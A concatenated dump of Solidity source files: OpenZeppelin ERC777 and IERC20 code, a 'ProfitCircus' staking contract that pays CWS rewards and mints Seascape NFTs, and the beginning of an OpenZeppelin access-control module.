bytes calldata operatorData
) external;
/**
* @dev Destroys `amount` tokens from `account`, reducing the total supply.
* The caller must be an operator of `account`.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `data` and `operatorData`. See {IERC777Sender}.
*
* Emits a {Burned} event.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
* - the caller must be an operator for `account`.
*/
function operatorBurn(
address account,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
event Sent(
address indexed operator,
address indexed from,
address indexed to,
uint256 amount,
bytes data,
bytes operatorData
);
event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData);
event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData);
event AuthorizedOperator(address indexed operator, address indexed tokenHolder);
event RevokedOperator(address indexed operator, address indexed tokenHolder);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC777/ERC777.sol)
pragma solidity ^0.8.0;
import "./IERC777.sol";
import "./IERC777Recipient.sol";
import "./IERC777Sender.sol";
import "../ERC20/IERC20.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/introspection/IERC1820Registry.sol";
/**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/
contract ERC777 is Context, IERC777, IERC20 {
using Address for address;
IERC1820Registry internal constant _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH = keccak256("ERC777TokensSender");
bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient");
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping(address => mapping(address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor(
string memory name_,
string memory symbol_,
address[] memory defaultOperators_
) {
_name = name_;
_symbol = symbol_;
_defaultOperatorsArray = defaultOperators_;
for (uint256 i = 0; i < defaultOperators_.length; i++) {
_defaultOperators[defaultOperators_[i]] = true;
}
// register interfaces
_ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
/**
* @dev See {IERC777-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view virtual override returns (uint256) {
return 1;
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view virtual override(IERC20, IERC777) returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view virtual override(IERC20, IERC777) returns (uint256) {
return _balances[tokenHolder];
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {IERC20-Transfer} event for ERC20 compatibility.
*/
function send(
address recipient,
uint256 amount,
bytes memory data
) public virtual override {
_send(_msgSender(), recipient, amount, data, "", true);
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = _msgSender();
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {IERC20-Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes memory data) public virtual override {
_burn(_msgSender(), amount, data, "");
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(address operator, address tokenHolder) public view virtual override returns (bool) {
return
operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) public virtual override {
require(_msgSender() != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[_msgSender()][operator];
} else {
_operators[_msgSender()][operator] = true;
}
emit AuthorizedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) public virtual override {
require(operator != _msgSender(), "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[_msgSender()][operator] = true;
} else {
delete _operators[_msgSender()][operator];
}
emit RevokedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view virtual override returns (address[] memory) {
return _defaultOperatorsArray;
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {IERC20-Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes memory data,
bytes memory operatorData
) public virtual override {
require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder");
_send(sender, recipient, amount, data, operatorData, true);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {IERC20-Transfer} events.
*/
function operatorBurn(
address account,
uint256 amount,
bytes memory data,
bytes memory operatorData
) public virtual override {
require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder");
_burn(account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view virtual override returns (uint256) {
return _allowances[holder][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) public virtual override returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {IERC20-Transfer} and {IERC20-Approval} events.
*/
function transferFrom(
address holder,
address recipient,
uint256 amount
) public virtual override returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
uint256 currentAllowance = _allowances[holder][spender];
require(currentAllowance >= amount, "ERC777: transfer amount exceeds allowance");
_approve(holder, spender, currentAllowance - amount);
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {IERC20-Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
) internal virtual {
_mint(account, amount, userData, operatorData, true);
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If `requireReceptionAck` is set to true, and if a send hook is
* registered for `account`, the corresponding function will be called with
* `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {IERC20-Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
) internal virtual {
require(account != address(0), "ERC777: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), account, amount);
// Update state variables
_totalSupply += amount;
_balances[account] += amount;
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, requireReceptionAck);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
/**
* @dev Send tokens
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
) internal virtual {
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
address operator = _msgSender();
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
/**
* @dev Burn tokens
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
) internal virtual {
require(from != address(0), "ERC777: burn from the zero address");
address operator = _msgSender();
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
_beforeTokenTransfer(operator, from, address(0), amount);
// Update state variables
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC777: burn amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_totalSupply -= amount;
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
) private {
_beforeTokenTransfer(operator, from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC777: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
/**
* @dev See {ERC20-_approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function _approve(
address holder,
address spender,
uint256 value
) internal {
require(holder != address(0), "ERC777: approve from the zero address");
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
) private {
address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(from, _TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
) private {
address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(to, _TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implementer for ERC777TokensRecipient");
}
}
/**
* @dev Hook that is called before any token transfer. This includes
* calls to {send}, {transfer}, {operatorSend}, minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
|
* @dev See {IERC777-isOperatorFor}./
|
function isOperatorFor(address operator, address tokenHolder) public view virtual override returns (bool) {
return
operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
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pragma solidity 0.6.7;
import "./../openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./../openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./../openzeppelin/contracts/access/Ownable.sol";
import "./../openzeppelin/contracts/math/SafeMath.sol";
import "./../openzeppelin/contracts/utils/Counters.sol";
import "./../seascape_nft/NftFactory.sol";
/// @title A Liquidity pool mining
/// @author Medet Ahmetson <[email protected]>
/// @notice Contract is attached to Seascape Nft Factory
contract ProfitCircus is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Counters for Counters.Counter;
uint256 private constant scaler = 10**18;
NftFactory nftFactory;
IERC20 public immutable CWS;
Counters.Counter private sessionId;
/// @notice game event struct. as event is a solidity keyword, we call them session instead.
struct Session {
address stakingToken; // staked token, users earn CWS token
uint256 totalReward; // amount of CWS to airdrop
uint256 period; // session duration in seconds
uint256 startTime; // session start in unixtimestamp
uint256 generation; // Seascape Nft generation given for minted NFT in the game
uint256 claimed; // amount of already claimed CWS
uint256 amount; // total amount of deposited tokens to the session by users
uint256 rewardUnit; // reward per second = totalReward/period
uint256 interestPerToken; // total earned interest per token since the beginning
// of the session
uint256 claimedPerToken; // total amount of tokens earned by a one staked token,
// since the beginning of the session
uint256 lastInterestUpdate; // last time when claimedPerToken and interestPerToken
// The following two parameters are used to determine the free claimable nft.
uint256 stakeAmount; // Minimum amount of Tokens to Stake
uint256 stakePeriod; // Minimum period of staking
}
/// @notice balance of lp token that each player deposited to game session
struct Balance {
uint256 amount; // amount of deposited token
uint256 claimed; // amount of claimed CWS reward
uint256 claimedTime;
bool minted; // Seascape Nft is claimed or not,
// for every session, user can claim one nft only
uint256 claimedReward;
uint256 unpaidReward; // Amount of CWS that contract should pay to user
// Track staking period in order to claim a free nft.
uint256 stakeTime; // The time since the latest deposited enough token. It starts the countdown to stake
}
mapping(address => uint256) public lastSessionIds;
mapping(uint256 => Session) public sessions;
mapping(uint256 => mapping(address => Balance)) public balances;
mapping(uint256 => mapping(address => uint)) public depositTimes;
event SessionStarted(address indexed stakingToken, uint256 sessionIdd, uint256 reward, uint256 startTime, uint256 endTime, uint256 generation);
event Deposited(address indexed stakingToken, address indexed owner, uint256 sessionId, uint256 amount, uint256 startTime, uint256 totalStaked);
event Claimed(address indexed stakingToken, address indexed owner, uint256 sessionId, uint256 amount, uint256 claimedTime);
event Withdrawn(address indexed stakingToken, address indexed owner, uint256 sessionId, uint256 amount, uint256 startTime, uint256 totalStaked);
event FactorySet(address indexed factoryAddress);
/// @dev CWS is not changable after contract deployment.
constructor(IERC20 _cws, address _nftFactory) public {
CWS = _cws;
sessionId.increment(); // starts at value 1
nftFactory = NftFactory(_nftFactory);
}
//--------------------------------------------------
// Only owner
//--------------------------------------------------
/// @notice Starts a staking session for a finit _period of
/// time, starting from _startTime. The _totalReward of
/// CWS tokens will be distributed in every second. It allows to claim a
/// a _generation Seascape NFT.
function startSession(address _lpToken, uint256 _totalReward, uint256 _period, uint256 _startTime, uint256 _generation, uint256 _stakeAmount, uint256 _stakePeriod) external onlyOwner {
require(_lpToken != address(0), "Profit Circus: Staking token should not be equal to 0");
require(_startTime > block.timestamp, "Profit Circus: Seassion should start in the future");
require(_period > 0, "Profit Circus: Session duration should be greater than 0");
require(_totalReward > 0, "Profit Circus: Total reward of tokens should be greater than 0");
require(_stakeAmount > 0 && _stakePeriod > 0, "Profit Circus: 0 staking requirement");
// game session for the staked token was already created, then:
uint256 _lastId = lastSessionIds[_lpToken];
if (_lastId > 0) {
require(isActive(_lastId)==false, "Profit Circus: Can't start when session is already active");
}
// required CWS balance of this contract
require(CWS.balanceOf(address(this)) >= _totalReward, "Profit Circus: Not enough balance of Crowns for reward");
//--------------------------------------------------------------------
// creating the session
//--------------------------------------------------------------------
uint256 _sessionId = sessionId.current();
uint256 _rewardUnit = _totalReward.div(_period);
sessions[_sessionId] = Session(_lpToken, _totalReward, _period, _startTime, _generation, 0, 0, _rewardUnit,
0, 0, _startTime, _stakeAmount, _stakePeriod);
//--------------------------------------------------------------------
// updating rest of the session related data
//--------------------------------------------------------------------
sessionId.increment();
lastSessionIds[_lpToken] = _sessionId;
emit SessionStarted(_lpToken, _sessionId, _totalReward, _startTime, _startTime + _period, _generation);
}
/// @dev sets an nft factory, a smartcontract that mints tokens.
/// the nft factory should give a permission on it's own side to this contract too.
function setNftFactory(address _address) external onlyOwner {
require(_address != address(0), "Profit Circus: Nft Factory address can not be be zero");
nftFactory = NftFactory(_address);
emit FactorySet(_address);
}
function payDebt(uint256 _sessionId, address _address) external onlyOwner {
Balance storage _balance = balances[_sessionId][_address];
if (_balance.unpaidReward > 0) {
uint256 crownsBalance = CWS.balanceOf(address(this));
require(crownsBalance >= _balance.unpaidReward, "Profit Circus: Not enough Crowns to transfer!");
_safeTransfer(_address, _balance.unpaidReward);
_balance.unpaidReward = 0;
}
}
//--------------------------------------------------
// Only game users
//--------------------------------------------------
/// @notice deposits _amount of staking token. Staking token could be any ERC20 compatible token
function deposit(uint256 _sessionId, uint256 _amount) external {
require(_amount > 0, "Profit Circus: Amount to deposit should be greater than 0");
require(_sessionId > 0, "Profit Circus: Session id should be greater than 0!");
require(isActive(_sessionId), "Profit Circus: Session is not active");
updateInterestPerToken(_sessionId);
IERC20 _token = IERC20(sessions[_sessionId].stakingToken);
require(_token.balanceOf(msg.sender) >= _amount, "Profit Circus: Not enough LP tokens to deposit");
require(_token.transferFrom(msg.sender, address(this), _amount), "Profit Circus: Failed to transfer LP tokens into contract");
Session storage _session = sessions[_sessionId];
Balance storage _balance = balances[_sessionId][msg.sender];
// claim tokens if any
if (_balance.amount > 0) {
_claim(_sessionId);
}
// I add amount of deposits to session.amount
_session.amount = _session.amount.add(_amount); // 10
// interest per token is updated. maybe need to withdraw out?
updateInterestPerToken(_sessionId);
_balance.amount = _amount.add(_balance.amount);
_balance.claimedTime = block.timestamp;
depositTimes[_sessionId][msg.sender] = block.timestamp;
updateBalanceInterestPerToken(_sessionId, msg.sender);
updateTimeProgress(_session, _balance);
emit Deposited(_session.stakingToken, msg.sender, _sessionId, _amount, block.timestamp, _session.amount);
}
function claim(uint256 _sessionId) public returns(bool) {
Balance storage _balance = balances[_sessionId][msg.sender];
require(_balance.amount > 0, "Profit Circus: No deposit was found");
Session storage _session = sessions[_sessionId];
updateInterestPerToken(_sessionId);
_claim(_sessionId);
updateBalanceInterestPerToken(_sessionId, msg.sender);
return true;
}
/// @notice Withdraws _amount of LP token
/// of type _token out of Staking contract.
function withdraw(uint256 _sessionId, uint256 _amount) external {
Session storage _session = sessions[_sessionId];
Balance storage _balance = balances[_sessionId][msg.sender];
require(_balance.amount >= _amount, "Profit Circus: Exceeds the balance that user has");
updateInterestPerToken(_sessionId);
IERC20 _token = IERC20(sessions[_sessionId].stakingToken);
require(_token.balanceOf(address(this)) >= _amount, "Profit Circus: Not enough Lp token in player balance");
uint256 _interest = calculateInterest(_sessionId, msg.sender);
uint256 _contractBalance = CWS.balanceOf(address(this));
if (_interest > 0 && _contractBalance < _interest) {
_balance.unpaidReward = _interest.sub(_contractBalance).add(_balance.unpaidReward);
}
_balance.amount = _balance.amount.sub(_amount);
_session.amount = _session.amount.sub(_amount);
/// CWS claims as in claim method
if (_interest > 0) {
_session.claimed = _session.claimed.add(_interest);
_balance.claimed = _balance.claimed.add(_interest);
if (isActive(_sessionId) == false) {
_balance.claimedTime = _session.startTime.add(_session.period);
} else {
_balance.claimedTime = block.timestamp;
}
_safeTransfer(msg.sender, _interest);
emit Claimed(_session.stakingToken, msg.sender, _sessionId, _interest, block.timestamp);
}
require(_token.transfer(msg.sender, _amount), "Profit Circus: Failed to transfer token from contract to user");
// change the session.interestPerToken
updateInterestPerToken(_sessionId);
updateBalanceInterestPerToken(_sessionId, msg.sender);
updateTimeProgress(_session, _balance);
emit Withdrawn(sessions[_sessionId].stakingToken, msg.sender, _sessionId, _amount, block.timestamp, sessions[_sessionId].amount);
}
/// @notice Mints an NFT for staker. One NFT per session, per token. and should be a deposit
function claimNft(uint256 _sessionId) external {
// it also indicates that session exists
Session storage _session = sessions[_sessionId];
Balance storage _balance = balances[_sessionId][msg.sender];
require(_balance.claimed.add(_balance.amount) > 0, "Profit Circus: Deposit first");
require(isMintable(_session, _balance), "Profit Circus: already claimed or time not passed");
uint256 _tokenId = nftFactory.mint(msg.sender, sessions[_sessionId].generation);
require(_tokenId > 0, "Profit Circus: failed to mint a token");
balances[_sessionId][msg.sender].minted = true;
}
//--------------------------------------------------
// Public methods
//--------------------------------------------------
/// @notice Returns amount of Token staked by _owner
function stakedBalanceOf(uint256 _sessionId, address _owner) external view returns(uint256) {
return balances[_sessionId][_owner].amount;
}
/// @notice Returns amount of CWS Tokens earned by _address
function earned(uint256 _sessionId, address _owner) external view returns(uint256) {
uint256 _interest = calculateInterest(_sessionId, _owner);
return balances[_sessionId][_owner].claimed.add(_interest);
}
/// @notice Returns amount of CWS Tokens that _address could claim.
function claimable(uint256 _sessionId, address _owner) external view returns(uint256) {
return calculateInterest(_sessionId, _owner);
}
/// @notice Returns total amount of Staked LP Tokens
function stakedBalance(uint256 _sessionId) external view returns(uint256) {
return sessions[_sessionId].amount;
}
function isNftClaimable(uint256 _sessionId) external view returns(bool) {
Session storage _session = sessions[_sessionId];
Balance storage _balance = balances[_sessionId][msg.sender];
// session doesn't exist.
if (_session.startTime == 0) {
return false;
}
return isMintable(_session, _balance);
}
//---------------------------------------------------
// Internal methods
//---------------------------------------------------
function updateTimeProgress(Session storage _session, Balance storage _balance) internal {
if (_balance.minted) {
return;
}
// If after withdraw or deposit remained more than minimum required tokens
// progress the timer.
// otherwise reset it.
if (_balance.amount >= _session.stakeAmount) {
if (_balance.stakeTime == 0) {
_balance.stakeTime = now;
}
} else {
_balance.stakeTime = 0;
}
}
/// @dev check whether the session is active or not
function isActive(uint256 _sessionId) internal view returns(bool) {
uint256 _endTime = sessions[_sessionId].startTime.add(sessions[_sessionId].period);
// _endTime will be 0 if session never started.
if (now < sessions[_sessionId].startTime || now > _endTime) {
return false;
}
return true;
}
/// @dev check whether the time progress passed or not
function isMintable(Session storage _session, Balance storage _balance) internal view returns(bool) {
if (_balance.minted) {
return false;
}
uint256 time = 0;
if (_balance.amount >= _session.stakeAmount && _balance.stakeTime > 0) {
uint256 duration = now.sub(_balance.stakeTime);
time = time.add(duration);
}
return time >= _session.stakePeriod;
}
function calculateInterest(uint256 _sessionId, address _owner) internal view returns(uint256) {
Session storage _session = sessions[_sessionId];
Balance storage _balance = balances[_sessionId][_owner];
// How much of total deposit is belong to player as a floating number
if (_balance.amount == 0 || _session.amount == 0) {
return 0;
}
uint256 _sessionCap = block.timestamp;
if (isActive(_sessionId) == false) {
_sessionCap = _session.startTime.add(_session.period);
// claimed after session expire, means no any claimables
if (_balance.claimedTime >= _sessionCap) {
return 0;
}
}
uint256 claimedPerToken = _session.claimedPerToken.add(
_sessionCap.sub(_session.lastInterestUpdate).mul(_session.interestPerToken));
// (balance * total claimable) - user deposit earned amount per token - balance.claimedTime
uint256 _interest = _balance.amount.mul(claimedPerToken).div(scaler).sub(_balance.claimedReward);
return _interest;
}
/// @dev updateInterestPerToken set's up the amount of tokens earned since the beginning
/// of the session to 1 token. It also updates the portion of it for the user.
/// @param _sessionId is a session id
function updateInterestPerToken(uint256 _sessionId) internal returns(bool) {
Session storage _session = sessions[_sessionId];
uint256 _sessionCap = block.timestamp;
if (isActive(_sessionId) == false) {
_sessionCap = _session.startTime.add(_session.period);
}
// I calculate previous claimed rewards
// (session.claimedPerToken += (now - session.lastInterestUpdate) * session.interestPerToken)
_session.claimedPerToken = _session.claimedPerToken.add(
_sessionCap.sub(_session.lastInterestUpdate).mul(_session.interestPerToken));
// I record that interestPerToken is 0.1 CWS (rewardUnit/amount) in session.interestPerToken
// I update the session.lastInterestUpdate to now
if (_session.amount == 0) {
_session.interestPerToken = 0;
} else {
_session.interestPerToken = _session.rewardUnit.mul(scaler).div(_session.amount); // 0.1
}
// we avoid sub. underflow, for calulating session.claimedPerToken
_session.lastInterestUpdate = _sessionCap;
}
function updateBalanceInterestPerToken(uint256 _sessionId, address _owner) internal returns(bool) {
Session storage _session = sessions[_sessionId];
Balance storage _balance = balances[_sessionId][_owner];
// also, need to attach to alex,
// that previous earning (session.claimedPerToken) is 0.
_balance.claimedReward = _session.claimedPerToken.mul(_balance.amount).div(scaler); // 0
}
function _claim(uint256 _sessionId) internal returns(bool) {
Session storage _session = sessions[_sessionId];
Balance storage _balance = balances[_sessionId][msg.sender];
require(_balance.amount > 0, "Profit Circus: No deposit was found");
uint256 _interest = calculateInterest(_sessionId, msg.sender);
if (_interest == 0) {
return false;
}
uint256 _contractBalance = CWS.balanceOf(address(this));
if (_interest > 0 && _contractBalance < _interest) {
_balance.unpaidReward = _interest.sub(_contractBalance).add(_balance.unpaidReward);
}
// we avoid sub. underflow, for calulating session.claimedPerToken
if (isActive(_sessionId) == false) {
_balance.claimedTime = _session.startTime.add(_session.period);
} else {
_balance.claimedTime = block.timestamp;
}
_session.claimed = _session.claimed.add(_interest);
_balance.claimed = _balance.claimed.add(_interest);
_safeTransfer(msg.sender, _interest);
emit Claimed(_session.stakingToken, msg.sender, _sessionId, _interest, block.timestamp);
return true;
}
function _safeTransfer(address _to, uint256 _amount) internal {
uint256 _crownsBalance = CWS.balanceOf(address(this));
if (_amount > _crownsBalance) {
CWS.transfer(_to, _crownsBalance);
} else {
CWS.transfer(_to, _amount);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "../utils/EnumerableSet.sol";
import "../utils/Address.sol";
import "../GSN/Context.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
